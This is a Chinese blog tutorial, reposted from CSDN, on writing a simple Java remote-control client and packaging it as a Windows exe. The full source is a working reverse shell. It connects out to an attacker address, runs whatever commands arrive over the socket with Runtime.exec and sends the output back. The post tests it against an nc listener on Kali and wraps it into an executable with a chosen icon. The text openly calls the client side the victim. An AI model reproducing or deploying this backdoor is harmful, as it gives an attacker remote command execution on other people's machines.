0
0

使用Java制作一个简易的远控终端

使用Java制作一个简易的远控终端

远控终端的本质

1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息
2、客户端执行消息内容(即执行服务端传回来的命令)
3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果

Java制作简易的远控

1、环境

环境：IntelliJ IDEA 2022.1.1 + jdk1.8 + exe4j.exe

2、新建项目

打开idea，直接新建一个最普通的Java项目即可。
在这里插入图片描述

3、新建一个Java类

在这里插入图片描述

4、编写程序

(1)导入需要使用到的类包
importjava.io.*;importjava.net.Socket;importjava.nio.charset.StandardCharsets;
(2)编写main方法
...importjava.nio.charset.StandardCharsets;publicclassRemoteControl{publicstaticvoidmain(String[] args){}}
(3)建立socket连接
publicstaticvoidmain(String[] args){try{// 建立socket连接Socket socket =newSocket("192.168.6.142",9999);}catch(IOException e){
            e.printStackTrace();}}
(4)接收服务端传输的消息(即命令)
...importjava.nio.charset.StandardCharsets;publicclassRemoteControl{publicstaticvoidmain(String[] args){try{// 建立socket连接Socket socket =newSocket("192.168.6.142",9999);// 建立成功后while循环保持连接while(true){// inputStream接收服务端传入的字节流数据InputStream inputStream = socket.getInputStream();// 定义客户端以一个字节大小的方式接收服务端传入的字节流数据byte[] bytes =newbyte[1];// 服务端传入字节流数据转化成字符型数据——命令String command ="";while(true){// 判断服务端传入的字节流数据是否被bytes字节数组接收完if(inputStream.available()>0){// 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中
                        inputStream.read(bytes);// 将读入的字节流数据转化成16进制数据String hexString =BytesToHexString(bytes);// 将16进制数据转化成字符型数据并赋值给command——命令
                        command +=HexStringToString(hexString);// 判断服务端传入的字节流数据是否读完，如果读完就执行命令，否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止if(inputStream.available()==0){// 去掉服务端传回来命令的空格
                            command = command.trim();// 如果传回来的命令为exit，就直接断开连接if(command.equals("exit")){return;}}}}}}...}}

其中需要将接收数据的字节流先转化为16进制数据，再将16进制数据转化为字符型数据，这里分别自定义了两个静态方法：BytesToHexString和HexStringToString。

两个方法的定义如下：

...importjava.nio.charset.StandardCharsets;publicclassRemoteControl{publicstaticvoidmain(String[] args){......}// 将字节流数据转化为16进制数据publicstaticStringBytesToHexString(byte[] bytes){if(bytes ==null){returnnull;}char[] hexArray ="0123456789ABCDEF".toCharArray();char[] hexChars =newchar[bytes.length *2];for(int i =0; i < bytes.length; i++){int temp = bytes[i]&0xFF;
            hexChars[i *2]= hexArray[temp >>4];
            hexChars[i *2+1]= hexArray[temp &0x0F];}returnnewString(hexChars);}// 将16进制数据转化为字符型数据publicstaticStringHexStringToString(String hexString){byte[] array =newbyte[hexString.length()/2];try{for(int i =0; i < array.length; i++){
                array[i]=(byte)(0xFF&Integer.parseInt(hexString.substring(i *2, i *2+2),16));}
            hexString =newString(array,"UTF-8");}catch(UnsupportedEncodingException e){
            e.printStackTrace();return"";}return hexString;}
(5)执行消息内容(即执行服务端传回来的命令)
...importjava.nio.charset.StandardCharsets;publicclassRemoteControl{publicstaticvoidmain(String[] args){try{// 建立socket连接Socket socket =newSocket("192.168.6.142",9999);// 建立成功后while循环保持连接while(true){.......while(true){// 判断服务端传入的字节流数据是否被bytes字节数组接收完if(inputStream.available()>0){......// 判断服务端传入的字节流数据是否读完，如果读完就执行命令，否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止if(inputStream.available()==0){......}// 执行命令并返回结果try{// 执行服务端传回来的命令，将命令的执行过程交给exec进程Process exec =Runtime.getRuntime().exec(command);}catch(Exception e){
                                e.printStackTrace();}}}}}}......}}
(6)将执行结果返回给服务端
...importjava.nio.charset.StandardCharsets;publicclassRemoteControl{publicstaticvoidmain(String[] args){try{// 建立socket连接Socket socket =newSocket("192.168.6.142",9999);// 建立成功后while循环保持连接while(true){.......while(true){// 判断服务端传入的字节流数据是否被bytes字节数组接收完if(inputStream.available()>0){......// 判断服务端传入的字节流数据是否读完，如果读完就执行命令，否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止if(inputStream.available()==0){......}// 执行命令并返回结果try{// 执行服务端传回来的命令，将命令的执行过程交给exec进程Process exec =Runtime.getRuntime().exec(command);// 将执行命令返回结果的流赋值给输入流results中InputStream results = exec.getInputStream();// 考虑到执行命令的返回结果可能会有中文字符，所以采用BufferedReaderBufferedReader reader =newBufferedReader(newInputStreamReader(results));// 创建数据输出流，并将数据输出流中的数据流给到socket连接的输出流中，以让命令结果返回给服务端DataOutputStream dataOutputStream =newDataOutputStream(socket.getOutputStream());String line =null;// 读取命令执行结果的一行数据，如果数据不为空，则将数据写入到数据输出流中，然后将数据输出流中的数据进行刷新while((line = reader.readLine())!=null){
                                    dataOutputStream.write((line +"\n").getBytes(StandardCharsets.UTF_8));
                                    dataOutputStream.flush();}// 进程等待
                                exec.waitFor();// 关闭输入流
                                results.close();// 关闭读入流
                                reader.close();// 销毁进程对象
                                exec.destroy();break;}catch(Exception e){
                                e.printStackTrace();}finally{// 将存放命令的字符串置位空，防止下次执行命令的时候将该次命令也带入执行
                                command ="";}}}}}}......}}

至此，Java编写远程控制终端完成！

(7)测试远控终端的可用性

打开一台kali虚拟机(IP为192.168.6.142)作为服务端，使用nc监听9999端口。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
连接成功，远控终端制作完成！

5、将项目打包成jar包并生成exe文件

(1)打成jar包
步骤一

点击文件 --> 点击项目结构。
在这里插入图片描述

步骤二

点击工件 --> 点击JAR --> 点击来自具有…。
在这里插入图片描述

步骤三

将主类设为main函数所在的Java类 --> 点击确定。
在这里插入图片描述

步骤四

点击确定。
在这里插入图片描述

步骤五

点击构建 --> 点击构建项目
在这里插入图片描述

步骤六

再次点击构建 --> 点击构建工件
在这里插入图片描述

步骤七

点击构建即可。
在这里插入图片描述

步骤八

这时会在项目out\artifacts\remoteControl_jar目录下，生成了一个Jar文件。直接复制拖出来即可。
在这里插入图片描述
在这里插入图片描述

至此打包jar包完成。

(2)生成exe文件

使用exe4j(官网下载地址：https://exe4j.apponic.com/ )将jar包生成exe文件。

步骤一

打开exe4j --> next。
在这里插入图片描述

步骤二

选择"JAR in EXE"mode --> next
在这里插入图片描述

步骤三

填写相关内容 --> next。
在这里插入图片描述

步骤四

填写exe文件名字 --> 选择exe图标 --> 设置Advanced Options为32-bit or 64-bit。
在这里插入图片描述

步骤五

勾选选项 --> next。
在这里插入图片描述

步骤六

next。
在这里插入图片描述

步骤七

添加jar包 --> 选择jar包的存放路径 --> 选择jar包main函数所在的主类 --> next。
在这里插入图片描述
在这里插入图片描述

步骤八

选择jdk兼容最低的版本 --> 勾选"Allow JREs with a beta version number" --> next
在这里插入图片描述

步骤九

之后就一直next即可。
在这里插入图片描述
在这里插入图片描述
exe文件成功生成。

(3)测试exe文件的可用性

kali服务端监听端口。
在这里插入图片描述
点击运行生成的exe文件。
在这里插入图片描述
点击确定。
在这里插入图片描述
连接成功，Java制作远程控制终端完成！

附完整代码

importjava.io.*;importjava.net.Socket;importjava.nio.charset.StandardCharsets;publicclassRemoteControl{publicstaticvoidmain(String[] args){try{// 建立socket连接Socket socket =newSocket("192.168.6.142",9999);// 建立成功后while循环保持连接while(true){// inputStream接收服务端传入的字节流数据InputStream inputStream = socket.getInputStream();// 定义客户端以一个字节大小的方式接收服务端传入的字节流数据byte[] bytes =newbyte[1];// 服务端传入字节流数据转化成字符型数据——命令String command ="";while(true){// 判断服务端传入的字节流数据是否被bytes字节数组接收完if(inputStream.available()>0){// 将服务端传入的字节流数据以一个字节大小的方式读入bytes字节数组中
                        inputStream.read(bytes);// 将读入的字节流数据转化成16进制数据String hexString =BytesToHexString(bytes);// 将16进制数据转化成字符型数据并赋值给command——命令
                        command +=HexStringToString(hexString);// 判断服务端传入的字节流数据是否读完，如果读完就执行命令，否则跳过以下流程继续循环读取服务端传入的字节流数据直到读完为止if(inputStream.available()==0){// 去掉服务端传回来命令的空格
                            command = command.trim();// 如果传回来的命令为exit，就直接断开连接if(command.equals("exit")){return;}// 执行命令并返回结果try{// 执行服务端传回来的命令，将命令的执行过程交给exec进程Process exec =Runtime.getRuntime().exec(command);// 将执行命令返回结果的流赋值给输入流results中InputStream results = exec.getInputStream();// 考虑到执行命令的返回结果可能会有中文字符，所以采用BufferedReaderBufferedReader reader =newBufferedReader(newInputStreamReader(results));// 创建数据输出流，并将数据输出流中的数据流给到socket连接的输出流中，以让命令结果返回给服务端DataOutputStream dataOutputStream =newDataOutputStream(socket.getOutputStream());String line =null;// 读取命令执行结果的一行数据，如果数据不为空，则将数据写入到数据输出流中，然后将数据输出流中的数据进行刷新while((line = reader.readLine())!=null){
                                    dataOutputStream.write((line +"\n").getBytes(StandardCharsets.UTF_8));
                                    dataOutputStream.flush();}// 进程等待
                                exec.waitFor();// 关闭输入流
                                results.close();// 关闭读入流
                                reader.close();// 销毁进程对象
                                exec.destroy();break;}catch(Exception e){
                                e.printStackTrace();}finally{// 将存放命令的字符串置位空，防止下次执行命令的时候将该次命令也带入执行
                                command ="";}}}}}}catch(IOException e){
            e.printStackTrace();}}// 将字节流数据转化为16进制数据publicstaticStringBytesToHexString(byte[] bytes){if(bytes ==null){returnnull;}char[] hexArray ="0123456789ABCDEF".toCharArray();char[] hexChars =newchar[bytes.length *2];for(int i =0; i < bytes.length; i++){int temp = bytes[i]&0xFF;
            hexChars[i *2]= hexArray[temp >>4];
            hexChars[i *2+1]= hexArray[temp &0x0F];}returnnewString(hexChars);}// 将16进制数据转化为字符型数据publicstaticStringHexStringToString(String hexString){byte[] array =newbyte[hexString.length()/2];try{for(int i =0; i < array.length; i++){
                array[i]=(byte)(0xFF&Integer.parseInt(hexString.substring(i *2, i *2+2),16));}
            hexString =newString(array,"UTF-8");}catch(UnsupportedEncodingException e){
            e.printStackTrace();return"";}return hexString;}}
标签： java 开发语言 网络安全
本文转载自: https://blog.csdn.net/weixin_52635170/article/details/129793141
版权归原作者 T1ngSh0w 所有， 如有侵权，请联系我们删除。
登录后发布评论

“使用Java制作一个简易的远控终端”的评论:

还没有评论
关于作者
...
overfit同步小助手
文章同步
相关阅读

MySQL系列之远程管理（安全）

自己服务器上搭建虚拟专用网络(超级详细图文并茂,从安装到连接，PS：本文章仅作学术交流使用)

Django测试工具项目常见问题解决方案

【idea技巧篇】idea的类注释和方法注释模版自定义设置

推荐一款专为Nginx设计的图形化管理工具: Nginx UI！

Git-GitLab-Jenkins结合

10款免费开源的CMS建站系统，拿去接活吧！

文章导航